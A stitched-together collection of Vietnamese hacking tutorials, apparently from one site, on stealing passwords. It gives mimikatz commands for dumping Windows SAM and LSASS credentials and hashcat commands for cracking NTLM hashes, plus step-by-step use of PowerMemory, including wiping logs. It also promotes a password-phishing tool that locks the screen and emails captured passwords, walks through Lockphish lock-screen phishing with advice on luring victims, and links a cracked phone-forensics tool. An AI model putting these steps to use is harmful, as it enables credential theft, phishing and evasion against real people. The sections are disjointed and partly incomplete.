Trên thực tế, để trích xuất các hàm băm NTLM từ hệ thống cục bộ, không cần thiết phải kết xuất tổ chức registry. Một tùy chọn khác là tăng các đặc quyền của chính chương trình mimikatz và trích xuất hàm băm trực tiếp từ hệ thống. Để thực hiện việc này, hãy chạy các lệnh:

privilege::debug
token::elevate
log hash-local2.txt
lsadump::sam

 

Cách giải nén hàm băm NTLM từ tệp lsass.DMP

Về mặt logic trong kết xuất của Local Security Authority Process chỉ nên là hàm băm của người dùng đã đăng nhập bằng mật khẩu.

Đầu tiên, chỉ định đường dẫn đến tệp kết xuất bằng lệnh:

sekurlsa::minidump C:\path\to\lsass.DMP

Ví dụ:

sekurlsa::minidump C:\Share-Server\files\lsass.DMP

Sau đó chạy lệnh:

sekurlsa::logonPasswords

Cách Hack Password Windows bằng brute-force NTLM

Để thực hiện, mình sẽ sử dụng hàm băm sau:

• User : Alexey
• Hash NTLM: ca76a176340f0291e1cc8ea7277fc571

Hãy xem phần trợ giúp của Hashcat để tìm ra số chế độ băm NTLM:

1000 | NTLM                                             | Operating Systems

Số băm NTLM là 1000 (chế độ băm).

Để khởi chạy một cuộc tấn công để bẻ khóa NTLM trong Hashcat, bạn cần chạy một lệnh có dạng:

hashcat -m 1000 -a 3 'HASH'MASK

Ví dụ:

hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?d ca76a176340f0291e1cc8ea7277fc571 ?1?1?1?1?1?1?1?1?1

Giải thích lệnh:

• hashcat là tên của tệp thực thi. Trên Windows, nó có thể hashcat64.exe.
• –force có nghĩa là bỏ qua các cảnh báo
• –hwmon-temp-abort=100 có nghĩa là thiết lập nhiệt độ tối đa, sau đó quá trình brute-force sẽ bị gián đoạn, khi nhiệt độ máy chạm mức 100 độ C
• -m 1000 nghĩa là kiểu băm NTLM
• -D 1,2 có nghĩa là sử dụng cả cpu và gpu cho brute-force
• -a 3 nghĩa là mask attack
• -i có nghĩa là tăng dần số lượng ký tự trong mật khẩu đã tạo
• –increment-min 1 có nghĩa là bắt đầu với chiều dài mask bằng một
• –increment-max 10 nghĩa là kết thúc tìm kiếm với độ dài mask là mười
• -1 ?l?d có nghĩa là bộ ký tự tùy chỉnh số 1, nó bao gồm các chữ cái Latinh nhỏ (?l) và số (?d)
• ca76a176340f0291e1cc8ea7277fc571 là mã băm để hack
• ?1?1?1?1?1?1?1?1?1 là một mask từ một bộ ký tự tùy chỉnh

Hãy giải mã thêm một hàm băm nữa:

User : Администратор

Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

Bạn cũng dùng lệnh dưới đây:

hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?u?d 5187b179ba87f3ad85fea3ed718e961f ?1?1?1?1?1?1?1?1?1

Vậy là xong rồi đó.

 

Câu hỏi thường gặp

Mimikatz là gì và nó hoạt động như thế nào?

Mimikatz là một công cụ mạnh mẽ có khả năng trích xuất mật khẩu, mã băm, và các thông tin xác thực khác từ bộ nhớ RAM của hệ thống Windows. Nó hoạt động bằng cách truy cập vào quá trình lsass.exe, nơi lưu trữ các thông tin nhạy cảm này.

Tôi có thể lấy mật khẩu Windows từ một máy tính đã tắt không?

Có, bạn có thể lấy được mã băm mật khẩu từ các tập tin SAM và SYSTEM trong thư mục C:\Windows\System32\config\. Tuy nhiên, bạn cần truy cập vật lý vào máy tính hoặc sử dụng một bản sao lưu hệ thống.

Sự khác biệt giữa các loại mã băm NTLM là gì?

NTLM, NTLMv1/v2 và Net-NTLMv1/v2 là các loại mã băm khác nhau được sử dụng trong Windows. NTLM được sử dụng cục bộ, trong khi NTLMv1/v2 và Net-NTLMv1/v2 được dùng cho xác thực mạng. Pass-the-hash thường sử dụng mã băm NTLM.

Hack Password bằng hình ảnh nhiệt

Sau khi nhập Password, bạn phải cất điện thoại của mình ngay nếu không muốn điện thoại của mình bị hack. Theo các nhà khoa học từ Đại học Stuttgart và các đồng nghiệp của họ từ Đại học Ludwig Maximilian của Munich, sẽ giải thích cho chúng ta biết tại sao phải làm như vậy. Với sự trợ giúp của hình ảnh nhiệt, các nhà nghiên cứu đã xác định được 90% Password gồm 4 chữ số được nhập trên màn hình. Nhiệt độ từ tay sẽ được giữ lại trên chỗ chúng ta nhập Password, thậm chí nó tồn tại gần 1 phút sau khi bạn nhập mật mã.

Một hacker có thể giấu máy ảnh trong tay và chụp màn hình chụp Password từ phía sau của bạn mà bạn không hề hay biết. Các nhà nghiên cứu khuyến nghị người dùng nên vuốt nhiều lần vào màn hình bằng tay để làm loạn nhiệt độ trên thiết bị. Bạn cũng có thể tăng độ sáng màn hình hoặc làm nóng máy để tránh bị hack.

Nhận dạng Password bằng vân tay

Máy ảnh có độ phân giải cao có thể dễ dàng chụp lại dấu vân tay của bạn trên màn hình. Phương pháp này được các nhà khoa học tại Đại học Pennsylvania nghiên cứu và mô tả từ năm 2010. Ngày nay, dấu vân tay cũng có thể được ghi lại bằng máy ảnh nghiệp dư hay một chiếc điện thoại thông minh loại tốt. Khá dễ để giả vờ bạn đang chụp ảnh bữa tối của mình trong khi sự thật là bạn đang chụp màn hình điện thoại của người khác.

Password Android là dễ bị hack nhất

Các nhà nghiên cứu cho biết: “Password hình càng phức tạp thì càng dễ xác định. Chỉ cần ngồi gần nạn nhân khoảng 5 mét và quay video về quá trình mở khóa là đủ. Hơn nữa, video này sẽ được upload cho một ứng dụng đặc biệt dùng để phân tích chuyển động của ngón tay và cung cấp tối đa 5 biến thể của Password. Kết quả là 95% một trong các Password được cung cấp sẽ hoạt động.

Password có thể bị rò rỉ thông qua mạng Wi-Fi

Adrian Colyer, một cựu CTO của SpringSource, đã tiết lộ cách hack mã PIN với sự trợ giúp từ việc phân tích tín hiệu Wi-Fi. Công nghệ này được gọi là WindTalker. Colyer đã chứng minh rằng các chuyển động của ngón tay trên màn hình ảnh hưởng đến tín hiệu Wi-Fi. Nếu Hacker thiết lập một điểm phát sóng, họ sẽ có thể theo dõi sự thay đổi này.

Trong thử nghiệm của Colyer, các nhà nghiên cứu đã hack được tài khoản Alipay, một trong những nền tảng thanh toán an toàn và tốt nhất trên thế giới. Ứng dụng cung cấp cho họ 3 Password và một trong số đó đã khớp với Password thật. Phương pháp này chính xác đến 68%. Bạn càng có nhiều dữ liệu, thì tỷ lệ phân tích càng chính xác.

Chuyển động của ngón tay trên đồng hồ thông minh khiến Password dễ bị lộ

Nếu Hacker đặt một máy quét đặc biệt gần nơi làm việc của bạn, họ cũng có thể lấy Password hoặc mã PIN của bạn bằng cách theo dõi chuyển động tay của bạn trên đồng hồ thông minh hoặc thiết bị theo dõi thể dục.

Thí nghiệm này được thực hiện tại Viện Công nghệ Stevens và Đại học Bang New York tại Binghamton. Các nhà nghiên cứu đã tạo ra một máy quét theo dõi phổ điện từ, từ các cảm biến của đồng hồ thông minh. Dữ liệu từ máy quét được truyền qua Bluetooth.

Kết quả quét được xử lý trong ứng dụng và xác định tới hơn 5 nghìn chuyển động chính. Để tạo thuật toán, hơn 20 người dùng đã tham gia dự án này, 2 mẫu điện thoại thông minh và một thiết bị theo dõi thể dục được sử dụng.

80% Password của nạn nhân được phát hiện trong lần thử đầu tiên. Nếu người dùng nhập hai lần cùng một tổ hợp, thì có 90% khả năng phát hiện được Password. Thiết bị càng có nhiều cảm biến (con quay hồi chuyển, từ kế, gia tốc kế) thì kết quả càng chính xác.

Password có thể bị hack từ ảnh chụp màn hình

PC của bạn có thể chụp ảnh màn hình bất kỳ lúc nào, ngay cả khi bạn đang nhập Password. Sư cố này được phát hiện bởi Felix Krause, người sáng lập Fastlane Tools, vào cuối năm 2017. Ảnh chụp màn hình được chụp bởi tính năng CGWindowListCreateImage mà không cần sự cho phép của người dùng. Phần mềm độc hại có thể chụp ảnh màn hình, chạy nền và có quyền truy cập vào từng pixel của ảnh như vậy hacker dễ dàng hack Password điện thoại của bạn

Cài đặt Keylogger trên thiết bị của bạn

Cài đặt keylogger hoặc ứng dụng gián điệp là một trong những cách phổ biến nhất để làm hack Password điện thoại hoặc máy tính của người dùng. Ưu điểm của phương pháp này là tính khả dụng của nó (có rất nhiều keylogger trên thị trường hiện nay) và cách sử dụng nó cũng rất đơn giản. Keylogger phù hợp với cả những người không hiểu biết về công nghệ vì quá trình cài đặt mất không tới 5 phút và phần mềm gián điệp cho phép xem dữ liệu trong một vài cú nhấp chuột.

Một ứng dụng gián điệp được cài đặt trên mục tiêu, được định cấu hình và ẩn khỏi người dùng giúp hacker dễ dàng hack Password điện thoại. Sau khi được cài đặt, keylogger bắt đầu thu thập tất cả dữ liệu từ thiết bị, bao gồm Password, thông tin đăng nhập, các cuộc trò chuyện trên mạng xã hội,,,. Tất cả dữ liệu được gửi đến tài khoản trực tuyến của Hacker, nơi chúng có thể xem dữ liệu của mục tiêu, trong khi mục tiêu không nghi ngờ rằng mình đang bị theo dõi.

Điều thú vị là các ứng dụng như vậy hiện đang được sử dụng rộng rãi cho các mục đích pháp lý như kiểm soát của phụ huynh và giám sát nhân viên. Các ứng dụng kiểm soát của cha mẹ như EvaSpy hay Norton Family thường có thiết kế thân thiện với gia đình và cho phép cha mẹ kiểm tra bất kỳ hoạt động nào của con họ.

MITM-Attacks

Còn được gọi là tấn công man-in-the-middle, phương pháp hack này rất hoàn hảo để lấy được Password của người dùng. Thông thường, các trình đánh giá như Intercepter-NG được sử dụng cùng với các cuộc tấn công MITM để lấy Password và cookie của người dùng.

Dữ liệu được thu thập có thể dùng để đăng nhập vào tài khoản của người dùng, xem các file đã tải xuống,… Bên cạnh đó, ứng dụng này cũng có thể xóa cookie của người dùng và khiến họ nhập lại thông tin đăng nhập. Trong quá khứ, công cụ này thậm chí còn chụp được Password iCloud nhưng các nhà phát triển của Apple đã nhanh chóng sửa lỗi này.

Câu hỏi thường gặp

Làm thế nào hacker có thể lấy mật khẩu của tôi chỉ từ hình ảnh nhiệt?

Hacker có thể sử dụng hình ảnh nhiệt để phát hiện dấu vết nhiệt còn lại trên màn hình sau khi bạn nhập mật khẩu. Dấu vết này có thể cho phép họ đoán được mật khẩu của bạn.

Liệu dấu vân tay của tôi trên màn hình có thể bị sử dụng để hack mật khẩu?

Có, máy ảnh độ phân giải cao có thể chụp lại dấu vân tay của bạn trên màn hình và sử dụng chúng để mở khóa điện thoại. Điều này đặc biệt nguy hiểm nếu bạn thường xuyên sử dụng cùng một mẫu khi nhập mật khẩu.

Tôi có thể làm gì để bảo vệ mật khẩu của mình khỏi các cuộc tấn công qua Wi-Fi?

Các cuộc tấn công Man-in-the-Middle (MITM) có thể theo dõi hoạt động nhập liệu của bạn trên Wi-Fi. Hãy đảm bảo chỉ kết nối với các mạng Wi-Fi đáng tin cậy và sử dụng VPN để mã hóa kết nối của bạn.

Theo công ty bảo mật thông tin Pháp Evina, các ứng dụng đã đạt được hơn 2,34 triệu lượt tải xuống trước khi chúng bị xóa khỏi Play Store vào đầu tháng 6.

Trong một bài đăng trên blog, các nhà nghiên cứu của Evina đã viết: Phần mềm độc hại này có thể hủy hoại cuộc sống online lẫn ngoài đời thật của bạn bằng cách tiết lộ thông tin nhạy cảm về cuộc sống riêng tư của bạn như tài sản ảo, các cuộc nói chuyện với Tuesday….

Các ứng dụng cũng phá hoại người dùng bằng cách mở các tab trình duyệt web mới để hiện các quảng cáo không mong muốn, có rất nhiều bình luận có vẻ rất tực giận của người dùng trên trang đánh giá của Google. Không rõ có bao nhiêu người dùng đã bị đánh cắp thông tin Facebook của họ.

Đánh lừa người dùng

Để lừa người dùng tải xuống, 25 ứng dụng Android độc hại đã giả mạo như trò chơi, đèn flash, hình nền, phần mềm chỉnh sửa hình ảnh và video, máy quét mã QR, bộ đếm bước chân và trình quản lý file.

Trong khi các ứng dụng thực hiện các chức năng này, các nhà nghiên cứu cho biết các ứng dụng cũng có thể kiểm tra xem ứng dụng Facebook có đang chạy nền không.

Nếu có, các ứng dụng sau đó sẽ cố gắng đánh lừa người dùng nhập thông tin đăng nhập Facebook của họ vào trang đăng nhập Facebook giả mạo.

“Khi một ứng dụng được khởi chạy trên điện thoại của bạn, phần mềm độc hại truy vấn tên ứng dụng”, bài đăng trên blog của Evina cho biết: “Nếu đó là một ứng dụng của Facebook, phần mềm độc hại sẽ khởi chạy một trình duyệt Facebook cùng một lúc.”

Trình duyệt được hiển thị ở nền trước khiến bạn nghĩ rằng ứng dụng đã khởi chạy nó.

Cách phòng tránh các ứng dụng Android độc hại

Bằng cách thực hiện các hành động đã nêu ở trên, người dùng đã gửi thông tin đăng nhập Facebook của họ trực tiếp đến Hacker một cách hiệu quả.

Các nhà nghiên cứu giải thích: Khi bạn nhập thông tin đăng nhập vào trình duyệt này, ứng dụng Android độc hại sẽ thực thi JavaScript để truy xuất chúng. Phần mềm độc hại sẽ gửi thông tin tài khoản của bạn đến một máy chủ.

Evina đã phát hiện ra các ứng dụng độc hại vào tháng 5 và sau đó đã báo cáo chúng cho Google. Sau khi xem xét các phát hiện, Google đã tiếp tục xóa chúng vào đầu tháng 6. Đây là danh sách 25 ứng dụng độc hại vừa bị xóa bởi Google:

Download các ứng dụng không xác định hoặc được đánh giá sao thấp trên Play Store có thể gây nguy hiểm, “Jake Moore, chuyên gia bảo mật tại ESET đã nói.

“Những ứng dụng này có thể gây hư hỏng cho thiết bị hoặc thậm chí đánh cắp thông tin đăng nhập như mật khẩu và mật khẩu một lần (one time). Bạn nghiên cứu đầy đủ các thông tin của ứng dụng (tác giả, lượt tải, lượt bình luận, đánh giá) trước khi quyết định cài đặt vào điện thoại.”

Ông nói thêm: Phần mềm Malware có thể ẩn nấp trên các cửa hàng ứng dụng hợp pháp nhưng chúng dễ phân biệt các ứng dụng chính hãng hơn vì số lượng tải xuống thường sẽ thấp. Lời khuyên của tôi sẽ là nên chọn các ứng dụng nổi tiếng với các đánh giá tốt và các cửa hàng ứng dụng đáng tin cậy.

Ngoài ra, để bảo vệ tài khoản mạng xã hội của bạn và các tài khoản khác khỏi bị hack, hãy đảm bảo bạn bật xác thực hai yếu tố trong trường hợp chi tiết của bạn bị tấn công.

Vì vậy, bạn cũng nên cài thêm các ứng dụng diệt virus cho Android để bảo vệ điện thoại của bạn khỏi các ứng dụng độc hại như: Bitdefender Mobile Security, Norton Mobile Security, Avast Mobile Security, Kaspersky Internet Security for Android… để quét bảo mật trước khi ứng dụng được cài vào điện thoại.

Tính năng Tool Hades

• Tự mở tool khi người dùng đăng nhập vào Windows
• Bât full màn hình
• Vô hiệu hoá TaskManager
• Không tắt được trừ khi nhập đúng pass hoặc shutdown máy
• Tạo ra file password chứa mật khẩu người dùng đã nhập
• Tự gửi file pass đó về gmail đã được thiết lập (phiên bản đặc biệt)

Mình sẽ phát triển thêm các tính năng khác nếu các bản ủng hộ tool

Video Demo

Vừa nãy trong phần tính năng các bạn có nghe đến phiên bản đặc biệt trong tính năng gửi mail đúng không? Là như này, Anonyviet sẽ tạo ra 2 phiên bản. Phiên bản bình thường sẽ bao gồm các tính năng trên và không có tính năng gửi mail. Còn phiên bản đặc biệt thì có đầy đủ tính năng.

Vậy, làm sao để có phiên bản đặc biệt? Đơn giản lám, chỉ cần vào fanpage của Anonyviet, sẽ có 1 bài event về tool này, làm đúng theo hướng dẫn và đợi kết quả xổ số thôi.

Cập nhật: Event đã hết nên các bạn download tại github nhé.

Các bạn xem thêm cách lấy password window bằng PowerMemory tại đây.

Câu hỏi thường gặp

Hades là gì?

Hades là một công cụ troll và phishing mật khẩu Windows được viết bằng C# Winform. Hiện tại đang ở phiên bản Beta và có thể tự động mở khi người dùng đăng nhập vào Windows, vô hiệu hóa Task Manager, và ghi lại mật khẩu người dùng.

Tôi có thể tải Hades ở đâu?

Hiện tại, bạn có thể tải Hades từ GitHub tại địa chỉ: https://github.com/JunPham/Hades

Có phiên bản đặc biệt của Hades không?

Có. Phiên bản đặc biệt bao gồm tính năng gửi mật khẩu đã thu thập được qua email. Tuy nhiên, event để nhận phiên bản này đã kết thúc.

Các tính năng của PowerMemory

Theo tác giả, tool này hoạt động trên các phiên bản của hệ điều hành Windows, tức là Windows 2003 đến 2012 và cả Windows 10 đều sử dụng được.

PowerMomory đã được thử nghiệm thành công trên các phiên bản 2003, 2008r2, 2012, 2012r2 và Windows 7 32/64 bit, Windows 8 và Windows 10 Home.

Tool này được viết trên nền PowerShell nên khó bị Antivirus phát hiện, các thức hoạt động gần giống với Mimikatz, giúp hiển thị Password Windows dạng Plain Text.

Tính năng chính:

• Hoàn toàn dựa trên PowerShell
• Hoạt động trên máy cục bộ, từ xa hoặc từ file kết xuất được thu thập trên máy
• Không sử dụng file system .dll để xác minh địa chỉ thông tin đăng nhập trong bộ nhớ mà là bằng Microsoft Debugger
• Sử dụng PowerShell (AES, TripleDES, DES-X) để giải mã mật khẩu.
• Phá huỷ Microsfot DES-X không có giấy tờ
• Hoạt động ngay cả khi bạn đang sử dụng hệ điều hành khác với victim
• Không để lại dấu vết trong bộ nhớ

Cách sử dụng PowerMemory

Bước 1: Download PowerMemory về

Bước 2: Giải nén file vừa tải

Bước 3: Mở PowerShell với quyền admin

Bước 4: Thiết lập môi trường, các bạn nhập lệnh: Set-ExecutionPolicy Unrestricted -force

Bước 5: Chuột phải vào file PowerMemory.ps1 chọn run with PowerShell

Bước 6: Tiếp theo chọn 1, tuỳ chọn này sẽ lấy mật khẩu từ trong bộ nhớ

Bước 7: Tool sẽ đòi bạn cấp quyền Admin cho PowerShell, cứ chọn yes thôi

Bước 8: Tiếp theo, bạn chọn 1 để kích hoạt cmdlets

Bước 9: Chọn 1 để lấy mật khẩu trên máy victim

Bước 10: Mình chỉ muốn lấy mật khẩu nên sẽ không chọn exfiltrate.

Bước 11: Chọn 1 để xoá dấu vết trong log, tránh để lại dấu vết.

Và thành quả của chúng ta đây

Đây Phương pháp này hoàn toàn mới. Nó chứng minh rằng ta có thể dễ dàng hack thông tin đăng nhập hoặc bất kỳ thông tin nào khác từ bộ nhớ RAM của Windows mà không cần sử dụng ngôn ngữ lập trình loại C. Ngoài ra, với phương pháp này, chúng ta có thể sửa đổi user land và kernel của người dùng mà không bị phát hiện bởi các công nghệ antivirus mới.

Câu hỏi thường gặp

PowerMemory hoạt động trên những phiên bản Windows nào?

PowerMemory đã được thử nghiệm thành công trên Windows 2003, 2008 R2, 2012, 2012 R2, Windows 7 (32/64 bit), Windows 8 và Windows 10 Home.

Tôi cần quyền gì để sử dụng PowerMemory?

Bạn cần quyền quản trị viên (Administrator) trên hệ thống để PowerMemory có thể truy cập và xử lý thông tin từ bộ nhớ RAM.

PowerMemory có để lại dấu vết sau khi sử dụng không?

PowerMemory có tùy chọn xóa dấu vết trong log để giảm thiểu khả năng bị phát hiện. Tuy nhiên, việc sử dụng công cụ này vẫn tiềm ẩn rủi ro.

Tính năng LockPhish

• Phishing màn hình khóa trên Windows, Android và iPhone
• Tự động phát hiện thiết bị
• Chuyển tiếp Port bằng Ngrok
• Lưu lại Password, IP ra file riêng

Cảnh báo

Việc sử dụng Lockphish cho các mục tiêu tấn công mà không có sự đồng ý trước là bất hợp pháp. Đó là trách nhiệm của người thực hiện cuộc tấn công trong việc tuân thủ tất cả các luật pháp của đất nước Việt Nam. Các nhà phát triển không chịu trách nhiệm pháp lý và không chịu trách nhiệm cho bất kỳ việc làm sai trái và thiệt hại gây ra bởi chương trình này. Áp dụng luôn cho người hướng dẫn nữa nhé.

Cách cài đặt

Hệ điều hành mình sử dụng là Kali Linux 2020.1. Bạn có thể thực hiện các lệnh tương tự trên Termux trên điện thoại hoặc các hệ điều hành Linux khác.

Các bạn chạy các lệnh sau trong terminal:

git clone https://github.com/anonyvietofficial/lockphish-new 
cd lockphish
bash lockphish.sh

Nếu hệ điều hành của bạn chưa cài Ngrok và PHP thì chương trình sẽ tự tải về và cài đặt trong lần đầu tiên. Các lần sau sẽ không cần cài lại nửa.

Cách sử dụng lockphish hack password login

Gõ lệnh bash lockphish.sh để gọi lockphish

Redirect after phishing (Default: Youtube):  bạn điền link trang web sau khi victim nhập mã PIN sẽ được chuyển sang trang đó.Việc này tránh bị nghi ngờ bị hack Password.

Direct link: là link phishing mà bạn sẽ gửi cho nạn nhân.

Khi gửi link cho nạn nhân, bằng phương pháp social engineering, hãy dụ nạn nhân lick vào link đó.

Lưu ý: khi gửi cho nạn nhân phải kèm theo đầy đủ https://xxxxx.ngrok.io

Các bạn đưa link này cho victim. Sau khi victim truy cập link sẽ trông như thế này.

Link có khả năng nhận diện thiết bị khi click vào. Nếu bạn dùng Windows, thì sẽ hiện ra màn hình khóa của Windows 10. Nếu victim dùng điện thoại sẽ sẽ ra giao diện nhập Password của theo kích thước Android hoặc iOS.

Các bạn dụ dỗ victim click vào chỗ link https://google.com. Trang phishing sẽ tiếp tục đưa victim đến trang nhập mã PIN. Theo phản xạ của victim, victim sẽ nhanh tay nhập mã PIN và nhấn OK.

Victim sẽ được chuyển đến trang web mà chúng ta đã nhập trước đó.

Và đây là kết quả trả về.

Phần Device là tên thiết bị đã truy cập link.

Sau khi victim nhập mã PIN, trang phishing sẽ trả dữ liệu về attacker. Nội dung hack được sẽ lưu vào trong file pin.saved.txt.

Các bạn có thể kết hợp với bài gophishing để double phishing victim. Lấy link đã tạo từ gophishing để điền vào bên lockphish.

Chúc các bạn thành công.

Câu hỏi thường gặp

Lockphish hoạt động như thế nào?

Lockphish tạo ra một trang web giả mạo màn hình khóa của Windows, Android hoặc iOS. Khi nạn nhân nhập mật khẩu hoặc mã PIN, thông tin này sẽ được ghi lại và gửi đến người tấn công.

Tôi có thể sử dụng Lockphish trên hệ điều hành nào?

Bài viết hướng dẫn cài đặt trên Kali Linux, nhưng bạn cũng có thể thử trên Termux (Android) hoặc các hệ điều hành Linux khác.

Việc sử dụng Lockphish có hợp pháp không?

Sử dụng Lockphish để tấn công các mục tiêu mà không có sự đồng ý trước là bất hợp pháp. Hãy tuân thủ luật pháp hiện hành.

Dùng Mimikatz để xem Password Windows chưa bị mã hóa

Mimikatz là công cụ giúp khai thác lỗ hổng bằng cách hiển thị Password Windows, hash, PIN code và kerberos tickets dạng rõ (PlainText) bằng cách trích xuất tự bộ nhớ RAM. mimikatz còn có thể giúp bạn xem pass-the-hash, pass-the-ticket hoặc được xây dựng từ Golden tickets.

Các virus thường được đính kèm công cụ này để có thể lấy hack Password Windows, các thông tin bảo mật, nhằm phục vụ quá trình điều khiển, kiểm soát máy tính của nạn nhânmột cách mạnh mẽ nhất.

Để xem được Password Windows dạng chữ tường minh (plaintext), không bị mã hóa, bạn thực hiện như sau:

Bước 1: Download công cụ Mimikatz sẽ giúp trích xuất Password Windows.

(Password giải nén: anonyviet.com)

Bước 2: Giải nén file và truy cập đến:

• Windows 32 bit: vào thư mục mimikatz_trunk\Win32
• Windows 64 bit: vào thư mục: mimikatz_trunk\x64

Bước 3: Mở file mimikatz.exe bằng quyền Administrator

Bước 4: Trên giao diện của minikatz gõ lệnh privilege::debug để bắt đầu chế độ debug Windows.

Bước 5: Tiếp theo chạy lệnh sekurlsa::logonpasswords để lấy password của Windows. Password sẽ hiển thị dạng Plaintext.

Ngoài ra bạn có thể kết hợp sekurlsa:: với các lệnh dưới đây để hiển thị thông tin đăng nhập tùy vào chế độ bảo mật.

msv – Liệt kê thông tin đăng nhập LM & NTLM
wdigest- Liệt kê thông tin đăng nhập WDigest
kerberos – Liệt kê thông tin đăng nhập Kerberos
tspkg – Liệt kê thông tin đăng nhập TsPkg
livessp – Liệt kê thông tin xác thực LiveSSP
ssp – Liệt kê thông tin đăng nhập SSP
logonPasswords – Liệt kê tất cả thông tin đăng nhập của nhà cung cấp
process – Chuyển (hoặc reinit) sang bối cảnh quá trình LSASS
minidump- Chuyển (hoặc reinit) sang bối cảnh minidump LSASS
pth – Pass-the-hash
krbtgt – krbtgt!
dpapisystem – DPAPI_SYSTEM secret
trust – Antisocial
backupkeys – Preferred Backup Master keys
tickets – List kerberos tickets
ekey – Liệt kê các khóa mã hóa kerberos
dpapi – Liệt kê các MasterKey được lưu trong bộ nhớ cache
credman – List Credentials Manager

Tham khảo whitehat.vn

Câu hỏi thường gặp

Mimikatz là gì và nó hoạt động như thế nào?

Mimikatz là một công cụ khai thác lỗ hổng bảo mật, cho phép truy xuất mật khẩu Windows, hash, PIN và vé Kerberos từ bộ nhớ RAM. Nó hoạt động bằng cách trích xuất thông tin này dưới dạng văn bản rõ, không được mã hóa.

Tôi có thể sử dụng Mimikatz để làm gì?

Mimikatz có thể được sử dụng để hiển thị mật khẩu Windows dạng văn bản rõ, giúp truy cập vào hệ thống dễ dàng hơn. Tuy nhiên, việc sử dụng công cụ này cho mục đích bất hợp pháp là vi phạm pháp luật.

Việc sử dụng Mimikatz có an toàn không?

Sử dụng Mimikatz tiềm ẩn nhiều rủi ro bảo mật. Việc sử dụng công cụ này cho mục đích trái phép là bất hợp pháp và có thể dẫn đến các hậu quả nghiêm trọng. Chỉ nên sử dụng Mimikatz trong môi trường được kiểm soát và có mục đích bảo mật hợp pháp, với sự cho phép của chủ sở hữu hệ thống.

Elcomsoft Phone Breaker là công cụ hack password Iphone tốt nhất hiện nay. Hỗ trợ Iphone, Ipad chạy Apple iOS, Windows 10 Mobile và BlackBerry 10, Elcomsoft Phone Breaker có thể thực hiện khai thác Password từ các bản sao lưu iOS. Quá trình giải mã sử dụng GPU tích hợp và tấn công từ điển thông minh. Công cụ có thể tải xuống các bản sao lưu thiết bị từ Apple iCloud và Microsoft OneDrive. Truy xuất các khóa giải mã vào các bản sao lưu BlackBerry 10 trực tiếp từ các máy chủ BlackBerry. Quá trình khôi phục Password được tăng tốc bằng GPU giúp quá trình Hack Password Iphone nhanh hơn.

Các tính năng chính

Elcomsoft Phone Breaker có thể truy dữ liệu trên iCloud và iCloud Drive có hoặc không có Apple ID và mật khẩu. Mã thông báo xác thực thu được từ máy tính của người dùng cho phép đăng nhập vào Apple iCloud mà không cần mật khẩu. Phần mềm hổ trợ hack Password Iphone ở tất cả phiên bản Firmware mới nhất.

iCloud Keychain là hệ thống đám mây của Apple được sử dụng để lưu trữ và đồng bộ hóa mật khẩu, dữ liệu thẻ tín dụng và thông tin có độ nhạy cao khác trên nhiều thiết bị. Điều đáng nói là, Elcomsoft Phone Breaker hiện là công cụ duy nhất trên thị trường có khả năng truy cập, giải nén và giải mã iCloud Keychain. Trái với việc cấp phép cho các thiết bị mới của Apple.

• Phá mật khẩu và giải mã các bản sao lưu iOS bằng cách tăng tốc GPU
• Giải mã iCloud Keychain và Tin nhắn bằng các tệp và tài liệu phương tiện từ iCloud
• Lấy dữ liệu được đồng bộ hóa từ tài khoản Apple và Microsoft
• Tải xuống bản sao lưu iCloud và dữ liệu được đồng bộ hóa có hoặc không có mật khẩu Apple ID

Hỗ trợ: sao lưu iOS cục bộ (iTunes); Sao lưu iCloud và iCloud Drive; dữ liệu được đồng bộ hóa iCloud (nhật ký cuộc gọi, ảnh, lịch sử duyệt web, v.v.) Tài khoản Microsoft (có thông tin xác thực hợp lệ); mã thông báo xác thực iCloud.

Download Elcomsoft Phone Breaker 9.4 Full

Elcomsoft Phone Breaker là phần mềm Hack Password từ các thiết bị Iphone, Ipad, Ipod, Backberry. Bạn dễ dàng trích xuất được Password, thẻ tín dụng, thông tin đã lưu trên điện thoại. Với khả năng sử dụng GPU để tăng tốc quá trình giải mã điện thoại, thời gian sẽ rút ngắn tối đa.

Download

Password: anonyviet.com

• Download và cài đặt Elcomsoft Phone Breaker
• Copy file unlocked (wtsapi32.dll) vào thư mục đã cài đặt
• Mở chương trình và Hack password Iphone

Câu hỏi thường gặp

Elcomsoft Phone Breaker hỗ trợ các thiết bị nào?

Elcomsoft Phone Breaker hỗ trợ các thiết bị iOS (iPhone, iPad, iPod), BlackBerry, và cũng có khả năng truy xuất dữ liệu từ Windows Live và iCloud.

Phần mềm này có thể khôi phục những loại dữ liệu nào?

Phần mềm có thể khôi phục mật khẩu, dữ liệu sao lưu, tin nhắn, danh bạ, lịch sử cuộc gọi, ảnh, và nhiều loại dữ liệu khác từ các bản sao lưu thiết bị và dịch vụ đám mây.

Tôi có cần mật khẩu để sử dụng Elcomsoft Phone Breaker không?

Tùy thuộc vào nguồn dữ liệu. Đối với sao lưu cục bộ, bạn có thể cần mật khẩu. Tuy nhiên, phần mềm cũng có thể truy cập dữ liệu từ iCloud và OneDrive với hoặc không có mật khẩu (tùy thuộc vào việc có mã thông báo xác thực hay không).